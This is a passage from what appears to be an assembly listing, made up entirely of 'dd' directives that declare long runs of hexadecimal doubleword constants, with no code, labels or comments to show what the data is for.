		dd 5F43C3CEh, 0C560D685h, 7AA28A29h, 0F4DB119Eh, 44971FADh
		dd 0DE1C8A85h, 90460548h, 7ED1485h, 0A4D63A3Dh,	0E5924AEh
		dd 78A96802h, 0C1BB50D3h, 7995586Ah, 88A943F2h,	8DC377BFh
		dd 8501DCE4h, 85F57F80h, 4617A03h, 0C547E524h, 0CB64D696h
		dd 0DAFB0DF3h, 94E5E398h, 0BBA7A1AFh, 0ABA90A56h, 0D13B2704h
		dd 0D92AD22h, 6A96D5B2h, 329F8026h, 0C28488C8h,	29A11BCEh
		dd 35129536h, 239B9F1Fh, 2223497Bh, 4BC440D4h, 2DDF5443h
		dd 0B6E04EF5h, 1BA6FDh,	6A6ADE2Ch, 65998070h, 0C85B9E5Bh
		dd 0E365B5C8h, 0EB0B99CDh
		dd 21B7631Ah, 65069124h, 86066247h, 6E07C436h, 0F8A8C127h
		dd 0F573A816h, 0FC54B980h, 859A9B9Ah, 22329147h, 9F32659Ch
		dd 141731Ch, 0DB7811CFh, 4E2F10B7h, 0AA1E74F9h,	0B5B8F6Dh
		dd 230C376Fh, 0D82BC1A5h, 57677DBEh, 0FA6ECB50h, 6DD8542Dh
		dd 83FF9D90h, 11F5E0FDh, 1979C5ECh, 0DBA6A46Ch,	13C0B1A1h
		dd 2CDED8C5h, 0B4DD5CD7h, 2B3906E8h, 0B3142FA6h, 0E6F474DFh
		dd 0CD318F89h, 0DB86BD52h, 1560BDD1h, 4405E2B5h, 9CA133Eh
		dd 0D223C4DAh, 0B3626C4Eh, 0DF45871Eh, 538B1408h, 5FD861F5h
		dd 0FFC632C9h, 4853EB6Ch, 0E93B3DCh, 0E1EF3A82h, 4018DF21h
		dd 82757FA2h, 0AD9484A5h, 2C405A2Dh, 10500572h,	0B6D4B4EFh
		dd 3EFEEDF8h, 0ED4C4923h, 2B746988h, 0AA9B2552h, 71F11D6Bh
		dd 204B69FAh, 0E05149ACh, 96C1F742h, 0EC80A9D0h, 9F798385h
		dd 0A6F1E1D9h, 0DA44786Dh, 0C0CB1748h, 0A321ADABh, 76386D9Ch
		dd 0A389C103h, 43C94894h, 36D8C791h, 0C7ED562h,	0DEC1D261h
		dd 71971298h, 8E1353B0h, 3F8746ACh, 6C40CC1Bh, 93433575h
		dd 0C5BAA560h, 9D76DCF6h, 0B1730E81h, 942BB35Fh, 3948A6D4h
		dd 0F419D6ABh, 0EC0FE0C3h, 4FB412FFh, 60837CA7h, 0CD04C2CDh
		dd 0D263506Dh, 0F66D0277h, 7CE21E12h, 0FEEA5510h, 535EE837h
		dd 0AA7E64D2h, 9ABA06A9h, 0B7F0668Ch, 0D10202B1h, 776580A2h
		dd 1E26BA03h, 0F50EF269h, 0E5781DE9h, 0C3C5FD6Fh, 65234615h
		dd 0D00D5FEh, 0CA14F2D0h, 4ADC8E6Eh, 12CCED53h,	0FC1183EBh
		dd 8E5653FAh, 5D043198h, 8356C521h, 15D368B5h, 0EF6D10EDh
		dd 19E0FD09h, 9469DE4Ch, 174E8366h, 9BD008B9h, 0F9A3FA51h
		dd 98EEC7FBh, 2A9CB074h, 5A6530C3h, 7EEB65CEh, 9F09E068h
		dd 7F189794h, 8F10E52Ah, 285EDE44h, 0B4C6C811h,	82B96F4Bh
		dd 21BBCFB2h, 0B668331Fh, 6C125DE9h, 2A9EEBECh,	77E685DAh
		dd 0D7F96B23h, 4884B0Bh, 2041257Ah, 314DF2B2h, 0CEEC96DEh
		dd 25C5F1Ch, 0D48C8E06h, 0E5F383AEh, 6AA0A611h,	517690ACh
		dd 64002757h, 0FE56BD6Ch, 0E06AD7E5h, 0E4EC7F47h, 0EF0D6891h
		dd 318A83EAh, 19369411h, 0AB8CB5AEh, 1D94B6EBh,	705DEC29h
		dd 52A61091h, 6DD0FF55h, 367DF398h, 55DBBB13h, 4075545h
		dd 0F89A7690h, 3BBF15DFh, 1A60A524h, 0BB3DDBDFh, 3E0B4DDCh
		dd 0C668C6BBh, 28688BCAh, 9CCD8C95h, 0FAE953CFh, 3632A764h
		dd 0EE24554Bh, 0CFC503A6h, 3D68F6C3h, 0BA06EC2Fh, 7AFF4D93h
		dd 5A242ADEh, 0AD23AFDCh, 5454EE0Dh, 389E1F8Fh,	84013A76h
		dd 907210D3h, 8654FDD9h, 89F47271h, 8FC56BDEh, 0C008362Ch
		dd 926583FAh, 0BA766E8Ch, 57E70DE4h, 1958DC9Ch,	4C9EA6D6h
		dd 0EE7013C9h, 25000B33h, 0A4D88CA0h, 1F24637Fh, 0B0111FC0h
		dd 0C25BF730h, 3AD0C84Ah, 0FCAEBB9Dh, 0E72A23E8h, 0B676005h
		dd 0AC2508BEh, 4C5D339Eh, 3F920F06h, 579B64F1h,	0C916E0B3h
		dd 9902E787h, 3501E828h, 35840354h, 306FC8B0h, 0AF8B8384h
		dd 67CA0B1Dh, 0D1EAB048h, 0B97F8DE8h, 8DB5B067h, 50ED8058h
		dd 0AF1D75D6h, 0F34377F1h, 2E957675h, 0A0541240h, 0D7CF6A2Fh
		dd 7EEF765Bh, 0BB89A3E4h, 16E55A84h, 19F665E0h,	5AF9B6ECh
		dd 0D2FF7E5Bh, 51BBDDA6h, 0AF6D058Fh, 2552E619h, 0A1BD74BDh
		dd 1EC86B98h, 1D53E4Eh,	57B970A2h, 8E108768h, 47374C86h
		dd 0A33D92DBh, 0F015840h, 0AF75C3Ch, 0BB38CCE8h, 946C760Dh
		dd 0BBDEE444h, 0B7B790D0h, 0DF59FBD2h, 0A0549EE9h, 8AE9F1F6h
		dd 5890451Eh, 2484BCACh, 0EF5D87A0h, 2A937E91h,	0B239BB19h
		dd 0A04BC39Fh, 0F9892FFFh, 69361C1h, 48775FE6h,	1D0F6C3Fh
		dd 610A7D0Fh, 0DF4A211Ah, 5E7DA60Bh, 0B20B7538h, 46D507Ch
		dd 6725A2BFh, 4402F585h, 7ACE3C39h, 0CE0927BEh,	2B03AC31h
		dd 0B91AE8CBh, 5D118EF4h, 24933DACh, 0B6773837h, 68576D37h
		dd 7A486C6Bh, 70D17D83h, 120D376h, 0F87745C9h, 422C7488h
		dd 130D4FAEh, 665E4144h, 0D9A2676h, 99FD68CEh, 0B45608C7h
		dd 9276C2C6h, 0CCDAC973h, 2461CE15h, 0E7A93981h, 0AFC6406Fh
		dd 0EF61F715h, 9AA10529h, 9BE1C163h, 4E9B79D2h,	0A928B617h
		dd 22D238FEh, 796DB579h, 0E0B424Ch, 0B10951DBh,	65CB8296h
		dd 0DA46011Eh, 0B573D6CFh, 8442B109h, 6488F300h, 78662DDDh
		dd 2AE75346h, 8DA9D6DBh, 36306A2Ch, 0F908F8D3h,	0F4AF1FE9h
		dd 84A4DE92h, 0B7453ECDh, 82629C30h, 512C22F8h,	77930E10h
		dd 0FB866ACCh, 0FB876C69h, 8B4967CFh, 0DCA13FEFh, 2D9192B1h
		dd 0FF49259Eh, 0E729BC31h, 90C6A278h, 0CEB2025Ch, 0AFDC93BFh
		dd 0C79D1181h, 7E6B1385h, 0CFEEE597h, 4F75173Eh, 0BE6E249Ch
		dd 1F3E6635h, 0B789BFFBh, 8E31B3Fh, 0CE65216Ah,	0C5A7053Bh
		dd 9C411E0Eh, 4FB5931Ch, 0E7BB6B3Fh, 606907D9h,	1C130DFh
		dd 4A3A33E0h, 6E1B3137h, 0E8ECD7D5h, 0E82B3D7Ch, 370539CDh
		dd 74292474h, 0FDF6ABD8h, 12429BABh, 0D93895Eh,	93176C2Fh
		dd 81F1799h, 3F9208BBh,	279A182Dh, 82AB67CBh, 0E1C7D692h
		dd 0A51F717Dh, 25D9AF88h, 8E542CCDh, 5CE32003h,	5213B4EAh
		dd 42FDCFE0h, 0F5D0371h, 88B616DAh, 0FD22DFABh,	91613ED1h
		dd 0F285B948h, 21D80CFFh, 99BB2BB6h, 7131BDABh,	0B3FC7295h
		dd 5FE8FAAEh, 9759E0A0h, 93368C14h, 25BC5671h, 0AE22B4BDh
		dd 0C6C43DE8h, 16D57ABDh, 244EC755h, 0EBB9B575h, 0CBACC060h
		dd 6341281Eh, 1901735Ch, 0A61C7836h, 5B7F60BEh,	9064A2ABh
		dd 1B3442Bh, 51426B50h,	11381B4Dh, 83D2A374h, 74D671CFh
		dd 70691A05h, 69C691F2h, 0DB92440Eh, 8E8A3147h,	7031E498h
		dd 93AD7F44h, 0E041E212h, 0E00B75F3h, 891E317Dh, 0E24A6E58h
		dd 6BA61B5Ah, 0C015BDA5h, 34FD52CEh, 67ED662Ah,	0ED4C3F98h
		dd 2E235CC8h, 0CEF4A26Dh, 71AED810h, 103CEBFAh,	5062D585h
		dd 0A3195C44h, 8C4C921Dh, 0F6472A94h, 0CEA3873Dh, 33EA3C52h
		dd 545C24A0h, 0D805828Eh, 8285B305h, 3F1415C1h,	92CDFF1Dh
		dd 7A44436Dh, 886FFA9h,	98F72A68h, 831F4CFBh, 0A87B04CDh
		dd 0EA560084h, 9E910B0Ah, 113B37D4h, 5D9E74C3h,	9C92C68Dh
		dd 1990B85Fh, 48969AE7h, 72652CFEh, 879326B1h, 9C7DB498h
		dd 3E3BAAFEh, 0DAF72579h, 0CC0DC643h, 53A27D5Fh, 1EB5BF4Fh
		dd 13EA0B9h, 326254DDh,	578BBC03h, 0F27D514Ah, 60D608E1h
		dd 0FB1DFCB4h, 87C1BC3Bh, 0B1519B47h, 3B3FAF6Ch, 0B4B2A82Dh
		dd 0ABBE35FCh, 25BF6229h, 84DC6C36h, 0F57D3CA7h, 6B51DD8Bh
		dd 209A8837h, 2C341837h, 0C3B1D0DEh, 0CB034AF5h, 83A4CEA2h
		dd 0F8FE6F82h, 0E4A5FC4Bh, 43ADA18Dh, 4EC19178h, 5C3754DBh
		dd 2AB83E87h, 6106696Fh, 0EE2C381Fh, 9226F12Ah,	1BB1B198h
		dd 38345994h, 6901D343h, 55546E46h, 0A9FB6AB2h,	2C000F15h
		dd 1A75DB80h, 87D5BD3Fh, 2E2054CDh, 0E1D3BDAEh,	0B2D2CD86h
		dd 2A817020h, 84434B9Ah, 4567AFA5h, 9A4DB341h, 0B174D281h
		dd 0D2EA6C6Dh, 6D074282h, 0AB06BA53h, 0ADD47757h, 0FD593CCBh
		dd 209D780Bh, 2EFA8CD1h, 3647634h, 65C9E714h, 0A32A0B47h
		dd 116D94C7h, 61FA6C98h, 8255CFD0h, 56A37053h, 0D68E9E6Fh
		dd 95F8CECEh, 2F5924B1h, 183B6FB2h, 2019D226h, 118B1A9h
		dd 33F102DCh, 0A1EC9BD1h, 1BF9FBE9h, 0A393F255h, 3A3FE92Ch
		dd 46315982h, 0E3F45727h, 0ED671CDCh, 2840DC16h, 842AE53Dh
		dd 8F70A685h, 26212190h, 0C2EA65FDh, 8EED9D28h,	844DE9BDh
		dd 0F256A6B3h, 90B4A3D5h
		dd 68CE52E2h, 9E0032CEh, 6297E212h, 1350D189h, 7EEFEBD3h
		dd 0ECD0B3F1h, 5F7AF599h, 80A9C231h, 0DF49A0A3h, 1848F97h
		dd 883A04F2h, 0D848F058h, 0C5B9FFA7h, 1142E4ADh, 0FE3BE2D2h
		dd 7EA5E6DDh, 0CD8980D1h, 49103466h, 0A3EDC1F7h, 0AAC0792Ch
		dd 0B17B542Dh, 6416AB83h, 0C9951912h, 1E342B55h, 0D75AA2DAh
		dd 443A6BCAh, 0A4B491B8h, 77ECE6D3h, 161B431Eh,	0C6B732EFh
		dd 5A8FF8DBh, 5D371BA9h, 0C66C8367h, 0BD42009Eh, 0AF52F63Fh
		dd 0D03081Bh, 0EC5E2538h, 0C3B55669h, 850FA3A1h, 286B5B9h
		dd 9C07FA7Fh, 3B382C6Fh, 0FA44792Ch, 3758ADDCh,	8DAC89Bh
		dd 9862C71Bh, 22CAAB08h, 75185A7Eh, 4D797624h, 59A05C6h
		dd 0DC2F83D8h, 2CA8D1D8h, 2A56E56Bh, 0BCD5E65Ah, 2BF0E962h
		dd 9E5FE3DBh, 38AD41FDh, 0BF317B87h, 0E41112C5h, 9412B5F5h
		dd 0EED42533h, 0CFEA1197h, 4DC4E7E9h, 0AA30DAA2h, 0F6A699BBh
		dd 0AB5C6280h, 7D817F8Ah, 0DBA2ED39h, 29EF31A7h, 5820A7CFh
		dd 68E3B365h, 0DAC7E96Fh, 745B813Ch, 630416C6h,	7ABC7B0h
		dd 0F114661Ah, 0AB2E21AFh, 739D041Dh, 0D4CF9211h, 1B2F13B5h
		dd 0F2053443h, 834948DBh, 9C789F3Eh, 4DD2B2E6h,	6BD55741h
		dd 5FFAA251h, 87530A60h, 2BF35BF1h, 0AF5D466Ah,	0B02183Ah
		dd 7390F477h, 361126FDh, 1DF77482h, 5D0B27DAh, 1011E8C2h
		dd 0F052C4Eh, 664963A1h, 0CD3F350h, 943B3F51h, 0ED1314FEh
		dd 23184D34h, 2BCB601Eh, 0E0D8B4FEh, 56AF0862h,	0B676AD7Dh
		dd 2487DC70h, 55BF6E3h,	3FFD5432h, 3FC5A563h, 6F456285h
		dd 43520954h, 8C4DF285h, 23EEA5Dh, 1361EE4Bh, 2ADB1D0Bh
		dd 0DB693DB4h, 82CE0BD0h, 312C2F24h, 4C189A8Eh,	4F2F216Bh
		dd 8F54EE7Ch, 522B02AAh, 0FDB8808Bh, 246499FAh,	0A63FA9DEh
		dd 0F728C9A5h, 24BBD2F7h, 0A724272h, 0AA5F615Eh, 6A9B55B7h
		dd 83C1F968h, 41456C76h, 37A364D2h, 0A472AC22h,	7D779C95h
		dd 7CBF43FCh, 0B422230Fh, 23285C59h, 7BAA4EE6h,	5585AEA2h
		dd 0A13A9FCBh, 3753232Eh, 3803D5BBh, 0F008CFF0h, 617E2DDDh
		dd 9121633Bh, 2F007385h, 0E9ABB1E0h, 7E49D940h,	5A4B9462h
		dd 0DCD68ED5h, 34CB556Dh, 7AC364F9h, 609C5793h,	3A0DBD77h
		dd 0BC6EE380h, 0F7D12C88h, 0B369AE2Ah, 0F2A1D92Eh, 6E1BCBFCh
		dd 0CA1683D8h, 9C7BBB57h, 0C5B643Eh, 5EF3315Bh,	0C83F31EEh
		dd 0F65CBC6Eh, 6386B39Fh, 9BD12F73h, 284BDC99h,	3E4E7C37h
		dd 957049B6h, 92B3627Bh, 9A5450ADh, 0C2998ECFh,	4A088DC4h
		dd 2D09E837h, 2942EAACh, 7F6174A2h, 394DE9Bh, 328DAC7Bh
		dd 9954ED7Fh, 2BBBE7D8h, 0CD2BA216h, 0DA122EC1h, 0EC5536Fh
		dd 0BCF45649h, 0FD1DF987h, 0BF6D47EFh, 7FDE7938h, 0DB0575D3h
		dd 45AEBD09h, 0F7D98B63h, 0F027D480h, 0BD35B055h, 83484E9Ch
		dd 8841979Ah, 62A33FAAh, 5D0EBAA9h, 69F3F755h, 9169FC00h
		dd 84D5F72Ch, 5AE3B740h, 0F26C4151h, 0E54D8B1Bh, 0D4D3AF2Bh
		dd 0F400A455h, 0C321737h, 3103B15Eh, 438922DCh,	0F38FBA31h
		dd 5D12EEC7h, 6B28EB1Ch, 0C6E29CB4h, 943060E8h,	781EFE78h
		dd 7311922Ah, 971DFC15h, 0FD2C29C4h, 1BC1C1F1h,	0EB89EA61h
		dd 804E4E22h, 632AE5DEh, 0E5880BBh, 74ED9659h, 0EBE03B70h
		dd 0B3550058h, 0B0813F15h, 50810746h, 7D0DA343h, 56AD1221h
		dd 0A5D4C6C5h, 7038BEBEh, 5455077Eh, 60EA1775h,	31845A9Dh
		dd 71F656BAh, 0C4D4746Fh, 592DB5F0h, 0A2A9F494h, 9B8EB929h
		dd 746EF6AEh, 0C6D9F309h, 93B31BD3h, 0B40C2B6Ah, 788DC23Ah
		dd 77F92F35h, 57C634F6h, 51C80519h, 28F52360h, 0B034B410h
		dd 0D8CF3BCAh, 0D68FF961h, 84D04C79h, 852554C8h, 6CD965B1h
		dd 832DCABFh, 0DEC05576h, 57C8A1BBh, 1DF0554Ah,	9ADDC87Ch
		dd 67FE0631h, 0D47E2608h, 5ADB1AE0h, 58B6C5E0h,	0BE5118Ah
		dd 8EEC911Bh, 0E416B67Ah, 1B2560BCh, 43DC9041h,	4A1B276Eh
		dd 77319339h, 9F3E1950h, 0EB569D44h, 0C609F223h, 86BFD20Fh
		dd 3CE702B4h, 0E1ED0F78h, 0EC005D2Bh, 898B827Eh, 0C44D50D8h
		dd 0EBC49353h, 0A00F027h, 0EDF245F1h, 0BF71E67Bh, 4E3E2C43h
		dd 0DB0099E0h, 0D782D76Fh, 94F3B5ACh, 6D925648h, 83D110CEh
		dd 5FE019F2h, 77AC6EC0h, 236A04AFh, 92F8D014h, 0E9E31F5Bh
		dd 9589FA43h, 79A3F8A9h, 0EFFBC37Eh, 0F92F4D1Ch, 0E91EFFDh
		dd 93B8717Fh, 5151453Bh, 0B9CCD55Bh, 9091D4FAh,	6A7E5B8h
		dd 9E0E32B3h, 0BC761879h, 0E9B4A4EFh, 6E2D1057h, 84BF7B5Bh
		dd 0D4B5B349h, 2304AE7h, 34863E61h, 8CD0A9Fh, 419C0C10h
		dd 5ED8D92Ch, 146345F5h, 82D7A8D8h, 8551605h, 24CB99D6h
		dd 90021B1Dh, 5F7DDE14h, 0AB84B261h, 0E55CE723h, 979EC353h
		dd 31D0721h, 9A22F847h,	0E1BA4C83h, 7B247E6Eh, 0EF8CC502h
		dd 847E2A65h, 0EF73EFA9h, 0D3E64E9Eh, 212BD810h, 394D4815h
		dd 3465C810h, 1F350C9h,	0F03025EAh, 1CE77BCEh, 0C1234FA9h
		dd 0BFDDBBF2h, 37FA8706h, 32197E2Bh, 0F361F5Fh,	6EB50A58h
		dd 5079F36h, 4A7DA706h,	278C0267h, 0C66CD027h, 295299E9h
		dd 3965229Ah, 0FD18DB9Dh, 0CC6036D0h, 48A2B77Ch, 8FDD7BE2h
		dd 0C7E07675h, 0BD411D72h, 0DE8F02E4h, 91A2B900h, 20E475B8h
		dd 56ED713Ah, 62143B69h, 95095F0Eh, 3A23480Dh, 97EBAD47h
		dd 606E745Fh, 7B90314Dh, 0BE32CEAh, 0D77FFDC9h,	0B1A18D35h
		dd 7ED37464h, 5267B12h,	648BA95Ch, 3DBFE5DFh, 3FB9DDD2h
		dd 0E7BFC7E2h, 4EA390EBh, 9E508196h, 0C2328088h, 2451337Fh
		dd 8515BD09h, 0BC2F06BBh, 51BCFA7Ah, 0CDA83DFFh, 8DDFBED8h
		dd 744C0FC9h, 7049CF74h, 4B81D08Fh, 0FA07ECCCh,	83B08EAAh
		dd 0A9848CF4h, 1C556D39h, 165D9C7Bh, 393DCF1h, 730637FAh
		dd 9A8552EDh, 0B02E19C9h, 3F44DA5h, 0D1DBB192h,	0F6BB4C0h
		dd 0CAD4B901h, 7EEB8886h, 0F828B0C6h, 0E5E6AEE3h, 198195CFh
		dd 0F625FE6Eh, 965CE4FDh, 70151AC2h, 91A369D7h,	0C6B7DA71h
		dd 7098831Ah, 0BA2D7451h, 0E22297B5h, 7104CFAEh, 0F5E92E40h
		dd 0C498E24Ah, 8B4606C4h, 3866A1EFh, 44EDE1B3h,	0CCB52967h
		dd 13FF8869h, 5571F990h, 2778A8A1h, 3C26223Ah, 7B43D9C2h
		dd 0F179B0C7h, 753B2BAEh, 0A667908Ch, 0C715F812h, 90A55D12h
		dd 3A76941h, 2C951447h,	0CDDD06D9h, 855DDDE4h, 0F88FF125h
		dd 55FFB3AAh, 9397CEE0h, 6995D3Fh, 0A18F5A21h, 0ADD3B780h
		dd 4C774DBAh, 1ACDFEFAh, 0FB0805CCh, 92E3583Bh,	73D178CFh
		dd 8B63EB7h, 0DCE44B93h, 0FE94E1CBh, 0C0810B4Ah, 1026D0A5h
		dd 1B0A3A9h, 3546F0C0h,	58ADED39h, 2BB01418h, 0EFF46CCCh
		dd 88394233h, 59B29BC8h, 8AE6E8A5h, 98866EF7h, 0C8BD68D0h
		dd 0BA784BF6h, 0CF0935F9h, 0F9DC8D5Ah, 0BF0C44B2h, 4ECF0BDBh
		dd 0E7F3908Fh, 91A694E8h, 89BAF533h, 1C2CFF52h,	765E7E65h
		dd 0CA8491Bh, 3CE3E97Bh, 0FD9E8591h, 36A41651h,	23B74BFAh
		dd 9584CD71h, 32C0CDFh,	3ED2A340h, 92036387h, 7FEC4F67h
		dd 928F05B8h, 0FDF18FDAh, 8FD7A1CFh, 574EF62Ch,	3CC0AB77h
		dd 0E65E73BAh, 611D3AEBh, 2D16DFE2h, 77B9F060h,	305E3BBCh
		dd 40DC131Bh, 915619C3h, 0CDDBCAD3h, 88C0D89Bh,	0E08B9A4h
		dd 0F25BB529h, 1A914D0Bh, 58B88D0Dh, 0BE202410h, 3B538500h
		dd 2DD6D366h, 0CA4EE0CCh, 0CBB0CA38h, 0CBF3C521h, 30BC0C0Eh
		dd 0C126679h, 78F744B3h, 67D85341h, 3041B26Eh, 9562CC1Ch
		dd 98EEFE01h, 0F5E3B884h
		dd 363E0F43h, 2C0EDA9Ah, 49E17E0Bh, 8FA53029h, 52B720F5h
		dd 0C739BE7Ah, 0DCEA2D1Fh, 6D5899Ch, 0AAEA2B5Bh, 0B16C2C6h
		dd 0C5A45925h, 74C99435h, 0C3967FF9h, 4085C660h, 0EE9D6692h
		dd 4896454h, 0F4D4EC3Ch, 9FC7DDA2h, 101076E7h, 2570B2ECh
		dd 3068E743h, 6F905648h, 0A2DBBD17h, 50F754C4h,	4077FA1Fh
		dd 33C3A98Ah, 853E3A17h, 0AA189E79h, 2D39B766h,	714EDDD9h
		dd 0A4E0AD60h, 43597104h, 0CA70BA02h, 16A8B198h, 488C9ADDh
		dd 40447234h, 0F0181852h, 0C2F9E6C9h, 0F984E06Dh, 0C565CC6Ch
		dd 6C9C6D18h, 9E58E688h, 1BE1A88Dh, 737EABCFh, 8894DF41h
		dd 0BF855808h, 0F595EC6Bh, 1175FA35h, 8A84CAF6h, 52C5A415h
		dd 0D97EB681h, 1D16A471h, 0E3668428h, 2669EDB3h, 1192E81Bh
		dd 0D1B99A21h, 0D19D7A4Fh, 0BD590C04h, 1466F55Dh, 340A0F37h
		dd 7E45846Fh, 0AFFB0644h, 48475BC6h, 56679FFFh,	542BC30Eh
		dd 82461D4Ch, 2EDEABDDh, 7E5A1F18h, 89580A19h, 986D4CAh
		dd 917BAC18h, 0EB00A5Bh, 0D578D1h, 78DDC3DCh, 0F9DC2D8Dh
		dd 23ED90ACh, 464A213Eh, 0B51F52D0h, 9E2440CEh,	66095B86h
		dd 0A8BEC0B9h, 0DE48CCDEh, 41401A10h, 52BD4F49h, 62EE1716h
		dd 0A535900Ch, 738E63F3h, 0EE446822h, 0C6A36C9Ch, 0BC36702Ah
		dd 0A0B0928Ch, 0E1C5FC23h, 7A72BEFFh, 556C35F6h, 352C0AA7h
		dd 5212AB14h, 82723AC7h, 6ACDAFAh, 0C9E312B3h, 6FE6DB78h
		dd 34A1D081h, 0EEC76292h, 20F5D64h, 83B45AE7h, 0F22A8CA0h
		dd 0A82E77Eh, 42503887h, 23F1A9D8h, 708F78EAh, 6BCBB226h
		dd 0D7389153h, 4DF689Bh, 7349FB4Dh, 1B9980C7h, 26529ED2h
		dd 8C6F96D7h, 0ECA8862Fh, 4CE1C103h, 52D68686h,	0FC217814h
		dd 3F376205h, 0FC9DBA18h, 0F468B0D4h, 20CCBDA0h, 274DBE5Fh
		dd 0B22F2E76h, 1A0EDF45h, 87998507h, 17EBAF93h,	0EC987A5Dh
		dd 1051900Dh, 79F3118Bh, 6313DD59h, 0AF910724h,	0FC64BDADh
		dd 8A52215Bh, 5DE25A0Ah, 689D4C76h, 9AA0C03Eh, 0BDB49486h
		dd 78782AB6h, 15EC4A9Dh, 0C4DFE1F3h, 9B121311h,	0E55D1ECh
		dd 0D79C6284h, 8EA3491h, 8C13A2DDh, 0E5353EFFh,	0D6B0CE3Bh
		dd 0ADCB8423h, 2B2AF387h, 37858DDFh, 85AA88C7h,	0F8BA2FC7h
		dd 5ED19022h, 5B8BD10h,	0BDE58F26h, 6E0925B3h, 18C6BEEEh
		dd 0B7098AA9h, 0BAA21581h, 5B3AB5A3h, 0D33EC864h, 0A38EAB06h
		dd 0C7044AE5h, 0E53177C9h, 1CEDD732h, 9944D0D8h, 0AE214A82h
		dd 0D5A8D1D1h, 0BDCB5BEBh, 0A67B1D7h, 50CD844Dh, 6E15B6Ah
		dd 0BCD77B23h, 0B7D2017Dh, 8165061Fh, 8902FEF3h, 306EFA7h
		dd 53B68AE4h, 5074DF54h, 5E6AC171h, 24D38BBAh, 0BFC57F8Bh
		dd 0BD72E905h, 699EA444h, 7BDEA07Eh, 0FD5194DDh, 0F56C9E89h
		dd 420AF08Ah, 0CBA9E710h, 0E006CDB8h, 0CD712FE6h, 0C1B4D059h
		dd 7F51CB2Eh, 363AC29Ch, 8473880Fh, 0B9540EDBh,	8D587A27h
		dd 0F780B04Dh, 736B59ECh, 0ACA520FBh, 3B37B4C9h, 0AA2BD4Dh
		dd 9F157E30h, 6940DF12h, 3B758287h, 86299E1Ah, 44A3729Fh
		dd 0D5B6D847h, 0D6FD0D1h, 5EB44E33h, 1E0ED2D7h,	657189A4h
		dd 0FA94F9C9h, 4CF13994h, 638F1A72h, 60F9845Fh,	0A517C11Eh
		dd 0B6331371h, 0FF993EBBh, 9929C0C0h, 4E04B150h, 0F642496Ah
		dd 0F690735Fh, 0D6FB9228h, 5AF158EBh, 58EAC79Fh, 3BCEA850h
		dd 0B27364F1h, 49E151F3h, 77395003h, 0AC8C5F08h, 0CA96E329h
		dd 98D0830Bh, 23DDB6DDh, 0C1564B9Dh, 11AD4539h,	0D7070337h
		dd 9B5CD7B0h, 2E70085Dh, 799F9A94h, 56F3ADDEh, 4CAE0F3Fh
		dd 0BC4D22E1h, 0EBCB05EAh, 0FEDBF38Ch, 755B3B66h, 0BFDC7BA6h
		dd 2B555052h, 0AF9CE847h, 40875C6Fh, 49E4E0A4h,	0F2C4907Ah
		dd 299D9091h, 3103B74Dh, 0B013BE3Eh, 0C83654EBh, 60783819h
		dd 93CFA58Ch, 0F73D46BEh, 30854435h, 838C6DD0h,	53CEFBF2h
		dd 0BF35F863h, 7F5BC961h, 5D42C4D7h, 4EA07B47h,	32AE473Ah
		dd 0D8EF0D82h, 6C2A3DB3h, 8AD09B00h, 0D6F7D72Dh, 9122C021h
		dd 83E2CE30h, 1AE7172Ch, 50E08F16h, 6A3D3413h, 752B9B82h
		dd 8553E1F3h, 73871684h, 0ADAD96Ch, 0D94F62E0h,	90147F2Ah
		dd 0CA06996Eh, 0DF7A9D8h, 0EFE32164h, 0A9839F48h, 2AE5224h
		dd 56CD5AC0h, 0B0FB692Ah, 73B03C51h, 0CE6FEE9Ch, 54617138h
		dd 0AAA4C728h, 91BCE03Dh, 0E822B662h, 0A3EEBBC5h, 3D5D6234h
		dd 563EA1A8h, 1C6BE8B7h, 6E3EE21Ch, 77674A29h, 0DB6493F0h
		dd 295CF507h, 5A637A8h,	44D83E48h, 9666FB25h, 0E5020978h
		dd 9CBB2B88h, 9152E4EAh, 0EF84D7A5h, 79DA8F27h,	6EAF0C2Ah
		dd 0E2794FCh, 7AACDF24h, 4866A871h, 0C4D1CE6Dh,	0FA672CBCh
		dd 430C5088h, 81A207E8h, 0D8916BA5h, 43A12768h,	0A4651193h
		dd 2BF86275h, 0A95EC705h, 8A942DD2h, 5C98A199h,	3F0AC537h
		dd 4D1D1EC5h, 3FD877E7h, 86E497AEh, 0C8407DF3h,	869345D0h
		dd 0FB163022h, 0B28B54CAh, 0C5C42E6Eh, 0C313A968h, 514919CDh
		dd 1C88F6BBh, 459D6ADFh, 8E86EB15h, 0B6DE4CEAh,	25EBDEFBh
		dd 1C67D381h, 0CA701F8Eh, 8E175335h, 0FB14D793h, 0D2BFD82Fh
		dd 7EA1C68h, 0FC95D370h, 0DB6485EEh, 9DEF33C8h,	0FEB8304Bh
		dd 0AF24809Ch, 7D57C94h, 9E8881A0h, 0C66C6426h,	502A65C2h
		dd 0B63EEF1Fh, 5C2C85EFh, 5BD36E1Ch, 0EF34CF6Ah, 0D5F7B91Ch
		dd 7885BBAEh, 0EB75C1E9h, 0B9815C2Ah, 367AE0DEh, 574BB16h
		dd 0FC146272h, 0E2D478A9h, 9AB74AA8h, 0F83671DAh, 0BA98966h
		dd 0C312EB9Eh, 9C5906E0h, 5D971EF6h, 500434EBh,	7F0403B8h
		dd 6E9BA0Ah, 9DB913C2h,	0B8749E3Bh, 979CF80Ch, 42BD5805h
		dd 3A37CDC6h, 0CD151FD9h, 8EB907EAh, 209D7484h,	0EE8270F1h
		dd 7904FC60h, 20BBB88Bh, 0AD08356Ch, 0D956B4F9h, 391BEB11h
		dd 67449678h, 97352C78h, 0F3BF4E21h, 0D79344E8h, 26B6657Bh
		dd 0EE951DDEh, 7F37A857h, 0D571E22Eh, 0C57A5797h, 1DB73759h
		dd 0CDE05CB0h, 4FAD853Eh, 4A1806E5h, 5B72D2A3h,	0B71556ACh
		dd 7C27FF3Ah, 581DB726h, 2D04C44Ah, 0AF691369h,	55624D8Eh
		dd 0DC22D1B3h, 80325170h, 1B2A317Ah, 0C069B156h, 0DA447A32h
		dd 0B564A120h, 1F7C9D2Eh, 68B5AE8Bh, 0C5515760h, 0D01B7709h
		dd 9C204769h, 898CB80Bh, 2A10FB27h, 1562B2F4h, 0ACB479F6h
		dd 6F0D0266h, 0D272FB4Dh, 6E9520A7h, 0D1F62382h, 0AF05A81Dh
		dd 16DA8932h, 98CE6787h, 0CE6F410h, 0B3E2B5F6h,	14C58619h
		dd 733FB25Bh, 0F1F37B7Eh, 1871247Fh, 8D5A4843h,	0D19B7F4Eh
		dd 1757D4F4h, 60017B20h, 0B37DF3A2h, 0A5CD1C5Bh, 0EAB4E9D9h
